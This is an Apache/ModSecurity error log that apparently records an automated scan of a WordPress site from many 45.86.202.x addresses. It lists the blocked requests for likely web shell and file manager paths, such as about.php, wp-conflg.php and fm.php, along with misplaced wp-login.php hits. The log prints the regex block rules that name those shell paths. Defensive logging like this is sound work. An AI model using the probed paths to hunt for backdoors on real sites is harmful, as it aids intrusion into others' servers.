[Sun Mar 01 14:22:57.944585 2026] [:error] [pid 44644:tid 44668] [client 45.86.202.225:36671] [client 45.86.202.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaPbQZ3RJaXMcw3y9V9pZQAAABU"]
[Sun Mar 01 14:22:58.531636 2026] [:error] [pid 38034:tid 38055] [client 45.86.202.192:52961] [client 45.86.202.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aaPbQgxtfZjwlJok9K95OQAAARE"]
[Sun Mar 01 14:23:07.896565 2026] [:error] [pid 44644:tid 44661] [client 45.86.202.179:55113] [client 45.86.202.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aaPbS53RJaXMcw3y9V9plgAAAA4"]
[Sun Mar 01 14:23:11.929931 2026] [proxy_fcgi:error] [pid 38034:tid 38045] [client 45.86.202.201:59061] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:23:13.857315 2026] [:error] [pid 38034:tid 38052] [client 45.86.202.201:59061] [client 45.86.202.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/function.php"] [unique_id "aaPbUQxtfZjwlJok9K95pQAAAQ4"]
[Sun Mar 01 14:23:14.539123 2026] [:error] [pid 44644:tid 44669] [client 45.86.202.172:45247] [client 45.86.202.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/plugins.php"] [unique_id "aaPbUp3RJaXMcw3y9V9pogAAABY"]
[Sun Mar 01 14:23:18.862098 2026] [:error] [pid 38241:tid 38257] [client 45.86.202.204:40373] [client 45.86.202.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/chosen.php"] [unique_id "aaPbVvKRPk6YnJBxw_wY5gAAAM0"]
[Sun Mar 01 14:23:19.604774 2026] [:error] [pid 44644:tid 44657] [client 45.86.202.156:55159] [client 45.86.202.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aaPbV53RJaXMcw3y9V9ptgAAAAo"]
[Sun Mar 01 14:23:32.555317 2026] [:error] [pid 38241:tid 38245] [client 45.86.202.224:60487] [client 45.86.202.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/atomlib.php"] [unique_id "aaPbZPKRPk6YnJBxw_wY9QAAAME"]
[Sun Mar 01 14:23:34.265288 2026] [:error] [pid 44644:tid 44667] [client 45.86.202.160:58023] [client 45.86.202.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aaPbZp3RJaXMcw3y9V9p7AAAABQ"]
[Sun Mar 01 14:23:41.528743 2026] [:error] [pid 41342:tid 41365] [client 45.86.202.173:60885] [client 45.86.202.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/index.php"] [unique_id "aaPbbY4iJ6RAS5CatDlC5gAAAhQ"]
[Sun Mar 01 14:23:42.118912 2026] [:error] [pid 38034:tid 38054] [client 45.86.202.194:42717] [client 45.86.202.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aaPbbgxtfZjwlJok9K96HwAAARA"]
[Sun Mar 01 14:23:42.868601 2026] [:error] [pid 38034:tid 38045] [client 45.86.202.224:59225] [client 45.86.202.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aaPbbgxtfZjwlJok9K96JQAAAQc"]
[Sun Mar 01 14:23:52.397487 2026] [:error] [pid 42619:tid 42629] [client 45.86.202.157:43465] [client 45.86.202.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aaPbeB_zUXcYaZE4AOd1mQAAAUg"]
[Sun Mar 01 14:23:55.092089 2026] [:error] [pid 38034:tid 38043] [client 45.86.202.170:52969] [client 45.86.202.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aaPbewxtfZjwlJok9K96QwAAAQU"]
[Sun Mar 01 14:24:07.240769 2026] [:error] [pid 38034:tid 38039] [client 45.86.202.187:36513] [client 45.86.202.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/js/wp-login.php"] [unique_id "aaPbhwxtfZjwlJok9K96jwAAAQM"]
[Sun Mar 01 14:24:16.715732 2026] [:error] [pid 38034:tid 38052] [client 45.86.202.187:36513] [client 45.86.202.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/bk/index.php"] [unique_id "aaPbkAxtfZjwlJok9K96wQAAAQ4"]
[Sun Mar 01 14:24:17.367836 2026] [:error] [pid 44644:tid 44657] [client 45.86.202.195:54259] [client 45.86.202.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aaPbkZ3RJaXMcw3y9V9qVgAAAAo"]
[Sun Mar 01 14:24:35.876449 2026] [proxy_fcgi:error] [pid 44644:tid 44668] [client 45.86.202.195:54259] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:24:59.363520 2026] [:error] [pid 37032:tid 37054] [client 45.86.202.197:22475] [client 45.86.202.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/about.php"] [unique_id "aaPbu-u0U4o7eSImsVQSYgAAAZQ"]
[Sun Mar 01 14:25:05.846556 2026] [:error] [pid 44644:tid 44668] [client 45.86.202.189:57591] [client 45.86.202.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aaPbwZ3RJaXMcw3y9V9q4wAAABU"]
[Sun Mar 01 14:25:10.398363 2026] [:error] [pid 38241:tid 38262] [client 45.86.202.156:37497] [client 45.86.202.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aaPbxvKRPk6YnJBxw_wZegAAANI"]
[Sun Mar 01 14:25:31.052457 2026] [:error] [pid 38034:tid 38054] [client 45.86.202.160:52217] [client 45.86.202.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aaPb2wxtfZjwlJok9K974gAAARA"]
[Sun Mar 01 14:25:35.787854 2026] [:error] [pid 37032:tid 37043] [client 45.86.202.179:25479] [client 45.86.202.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aaPb3-u0U4o7eSImsVQSqgAAAYk"]
[Sun Mar 01 14:25:39.984523 2026] [:error] [pid 41967:tid 41990] [client 45.86.202.181:62501] [client 45.86.202.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aaPb44O1bqY181I02eF8owAAAJU"]
[Sun Mar 01 14:25:48.034541 2026] [proxy_fcgi:error] [pid 42619:tid 42631] [client 45.86.202.174:42523] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:25:48.311007 2026] [proxy_fcgi:error] [pid 42619:tid 42634] [client 45.86.202.174:42523] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:25:48.597329 2026] [:error] [pid 42619:tid 42624] [client 45.86.202.174:42523] [client 45.86.202.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aaPb7B_zUXcYaZE4AOd16wAAAUM"]
[Sun Mar 01 14:25:49.205931 2026] [:error] [pid 38034:tid 38044] [client 45.86.202.194:57149] [client 45.86.202.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aaPb7QxtfZjwlJok9K98KgAAAQY"]
[Sun Mar 01 14:26:01.060606 2026] [:error] [pid 44644:tid 44670] [client 45.86.202.162:58647] [client 45.86.202.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aaPb-Z3RJaXMcw3y9V9rlQAAABc"]
[Sun Mar 01 14:26:03.705119 2026] [:error] [pid 44644:tid 44670] [client 45.86.202.177:55547] [client 45.86.202.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "aaPb-53RJaXMcw3y9V9rrQAAABc"]
[Sun Mar 01 14:26:10.392833 2026] [:error] [pid 38034:tid 38051] [client 45.86.202.193:39269] [client 45.86.202.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aaPcAgxtfZjwlJok9K98awAAAQ0"]
[Sun Mar 01 14:26:22.339506 2026] [:error] [pid 37032:tid 37047] [client 45.86.202.189:56449] [client 45.86.202.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aaPcDuu0U4o7eSImsVQTNQAAAY0"]
[Sun Mar 01 14:26:23.053494 2026] [proxy_fcgi:error] [pid 44644:tid 44657] [client 45.86.202.185:53787] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:26:27.007746 2026] [:error] [pid 44644:tid 44652] [client 45.86.202.185:53787] [client 45.86.202.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aaPcE53RJaXMcw3y9V9sFQAAAAU"]
[Sun Mar 01 14:26:36.707525 2026] [proxy_fcgi:error] [pid 44644:tid 44657] [client 45.86.202.162:47631] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:26:38.647190 2026] [:error] [pid 44644:tid 44652] [client 45.86.202.162:47631] [client 45.86.202.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aaPcHp3RJaXMcw3y9V9sVwAAAAU"]
[Sun Mar 01 14:26:46.873739 2026] [:error] [pid 44644:tid 44669] [client 45.86.202.162:47631] [client 45.86.202.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aaPcJp3RJaXMcw3y9V9sjAAAABY"]
[Sun Mar 01 14:26:49.425094 2026] [:error] [pid 41342:tid 41345] [client 45.86.202.166:42371] [client 45.86.202.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aaPcKY4iJ6RAS5CatDlDAAAAAgA"]
[Sun Mar 01 14:26:55.909688 2026] [:error] [pid 41967:tid 41970] [client 45.86.202.202:61397] [client 45.86.202.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aaPcL4O1bqY181I02eF87wAAAIE"]
[Sun Mar 01 14:27:03.453519 2026] [:error] [pid 37032:tid 37035] [client 45.86.202.174:21167] [client 45.86.202.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aaPcN-u0U4o7eSImsVQTlwAAAYE"]
[Sun Mar 01 14:27:06.436586 2026] [:error] [pid 44644:tid 44651] [client 45.86.202.205:52249] [client 45.86.202.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aaPcOp3RJaXMcw3y9V9sxQAAAAQ"]
[Sun Mar 01 14:27:13.369639 2026] [:error] [pid 38034:tid 38051] [client 45.86.202.165:22477] [client 45.86.202.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aaPcQQxtfZjwlJok9K99lgAAAQ0"]
[Sun Mar 01 14:27:17.769163 2026] [proxy_fcgi:error] [pid 41780:tid 41787] [client 45.86.202.168:31699] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:27:18.150014 2026] [:error] [pid 41780:tid 41795] [client 45.86.202.168:31699] [client 45.86.202.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aaPcRsONkVoocLIqzy0JDAAAA8w"]
[Sun Mar 01 14:27:20.832260 2026] [:error] [pid 44644:tid 44651] [client 45.86.202.202:57577] [client 45.86.202.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/db.php"] [unique_id "aaPcSJ3RJaXMcw3y9V9s5wAAAAQ"]
[Sun Mar 01 14:27:21.375530 2026] [:error] [pid 38034:tid 38043] [client 45.86.202.196:43873] [client 45.86.202.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aaPcSQxtfZjwlJok9K99tAAAAQU"]
[Sun Mar 01 14:27:22.011543 2026] [:error] [pid 37032:tid 37037] [client 45.86.202.200:20803] [client 45.86.202.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aaPcSuu0U4o7eSImsVQT7wAAAYM"]
[Sun Mar 01 14:27:22.576888 2026] [:error] [pid 42619:tid 42624] [client 45.86.202.174:36565] [client 45.86.202.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aaPcSh_zUXcYaZE4AOd2RgAAAUM"]
[Sun Mar 01 14:27:23.160537 2026] [:error] [pid 38241:tid 38245] [client 45.86.202.161:57273] [client 45.86.202.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aaPcS_KRPk6YnJBxw_waWQAAAME"]
[Sun Mar 01 14:27:23.813521 2026] [:error] [pid 44644:tid 44650] [client 45.86.202.178:53229] [client 45.86.202.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aaPcS53RJaXMcw3y9V9s7gAAAAM"]
[Sun Mar 01 14:27:29.374547 2026] [:error] [pid 44644:tid 44657] [client 45.86.202.198:43373] [client 45.86.202.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aaPcUZ3RJaXMcw3y9V9tDgAAAAo"]
[Sun Mar 01 14:27:29.921623 2026] [:error] [pid 38034:tid 38052] [client 45.86.202.158:62411] [client 45.86.202.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aaPcUQxtfZjwlJok9K99xQAAAQ4"]
[Sun Mar 01 14:27:30.483677 2026] [:error] [pid 44644:tid 44663] [client 45.86.202.173:28409] [client 45.86.202.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aaPcUp3RJaXMcw3y9V9tFQAAABA"]
[Sun Mar 01 14:27:32.698755 2026] [:error] [pid 40750:tid 40773] [client 45.86.202.202:30193] [client 45.86.202.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aaPcVAfBuk03yQKDyqvGhAAAAdQ"]
[Sun Mar 01 14:27:37.081216 2026] [:error] [pid 41780:tid 41795] [client 45.86.202.167:24685] [client 45.86.202.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/options.php"] [unique_id "aaPcWcONkVoocLIqzy0JIgAAA8w"]
[Sun Mar 01 14:27:37.779688 2026] [proxy_fcgi:error] [pid 42619:tid 42628] [client 45.86.202.204:30141] AH01071: Got error 'Primary script unknown'
